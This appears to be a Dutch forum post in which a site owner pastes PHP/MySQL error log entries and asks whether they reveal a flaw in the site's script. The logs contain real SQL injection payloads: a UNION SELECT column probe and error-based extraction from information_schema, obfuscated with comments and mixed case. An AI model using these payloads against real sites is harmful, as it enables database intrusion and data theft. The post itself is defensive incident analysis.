Je krijgt dan als foutmelding iets als: exceeded the max_connections_per_hour.
Inmiddels is dit verhoogd waardoor de website weer bereikbaar is.
Als ik de errorlog erbij pak krijg ik veel dingen als onderstaande meldingen, is hieruit op te maken dat er een grove fout in mijn script zit dat ze aan het gebruiken zijn?
[Sun Feb 15 01:20:03.630711 2015] [:error] [pid 4543] [client #####] PHP Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'The used SELECT statements have a different number of columns' in *****\nStack trace:\n#0 *****: mysqli->query('\\n\\t\\t\\t\\t\\t\\tSELECT\\n\\t...')\n#1 ***** \n#2 {main}\n thrown in ***** on line 71, referer: *****'+%2f**%2fuNiOn%2f**%2faLl+%2f**%2fsElEcT+0x393133353134353632312e39,0x393133353134353632322e39,0x393133353134353632332e39,0x393133353134353632342e39,0x393133353134353632352e39,0x393133353134353632362e39,0x393133353134353632372e39,0x393133353134353632382e39,0x393133353134353632392e39,0x39313335313435363231302e39,0x39313335313435363231312e39,0x39313335313435363231322e39,0x39313335313435363231332e39,0x39313335313435363231342e39,0x39313335313435363231352e39,0x39313335313435363231362e39,0x39313335313435363231372e39,0x39313335313435363231382e39,0x39313335313435363231392e39,0x39313335313435363232302e39,0x39313335313435363232312e39,0x39313335313435363232322e39,0x39313335313435363232332e39,0x39313335313435363232342e39,0x39313335313435363232352e39,0x39313335313435363232362e39,0x39313335313435363232372e39,0x39313335313435363232382e39,0x39313335313435363232392e39,0x39313335313435363233302e39,0x39313335313435363233312e39,0x39313335313435363233322e39,0x39313335313435363233332e39,0x39313335313435363233342e39,0x39313335313435363233352e39,0x39313335313435363233362e39,0x39313335313435363233372e39,0x39313335313435363233382e39,0x39313335313435363233392e39,0x39313335313435363234302e39,0x39313335313435363234312e39,0x39313335313435363234322e39,0x39313335313435363234332e39,0x39313335313435363234342e39,0x39313335313435363234352e39,0x39313335313435363234362e39,0x39313335313435363234372e39,0x39313335313435363234382e39,0x39313335313435363234392e39,0x39313335313435363235302e39,0x39313335313435363235312e39,0x39313335313435363235322e39,0x39313335313435363235332e39,0x39313335313435363235342e39,0x39313335313435363235352e39,0x39313335313435363235362e39,0x39313335313435363235372e39,0x39313335313435363235382e39,0x39313335313435363235392e39,0x39313335313435363236302e39,0x39313335313435363236312e39,0x39313335313435363236322e39,0x39313335313435363236332e39,0x39313335313435363236342e39,0x39313335313435363236352e39,0x39313335313435363236362e39,0x39313335313435363236372e39,0x39313335313435363236382e39,0x39313335313435363236392e39,0x39313335313435363237302e39,0x39313335313435363237312e39,0x39313335313435363237322e39,0x39313335313435363237332e39,0x39313335313435363237342e39,0x39313335313435363237352e39,0x39313335313435363237362e39,0x39313335313435363237372e39,0x39313335313435363237382e39,0x39313335313435363237392e39,0x39313335313435363238302e39,0x39313335313435363238312e39,0x39313335313435363238322e39,0x39313335313435363238332e39,0x39313335313435363238342e39,0x39313335313435363238352e39+and+'0'='0--
[Sun Feb 15 01:18:52.338818 2015] [:error] [pid 4542] [client ######] PHP Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT /**' at line 10' in *****\nStack trace:\n#0 *****: mysqli->query('\\n\\t\\t\\t\\t\\t\\tSELECT\\n\\t...')\n#1 *****): include_once('***o...')\n#2 {main}\n thrown in ***** on line 71, referer: *****(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fuNhEx(%2f**%2fhEx(%2f**%2fcOnCaT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21))))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)+'
[Sun Feb 15 01:18:52.597517 2015] [:error] [pid 4526] [client ######] PHP Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Duplicate entry '!~!ABC145ZQ62DWQAFPOIYCFD!~!1' for key 'group_key'' in *****\nStack trace:\n#0 *****: mysqli->query('\\n\\t\\t\\t\\t\\t\\tSELECT\\n\\t...')\n#1 *****: include_once('***...')\n#2 {main}\n thrown in ***** on line 71, referer: *****'+and(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fuNhEx(%2f**%2fhEx(%2f**%2fcOnCaT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21))))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)+and+'1'='1
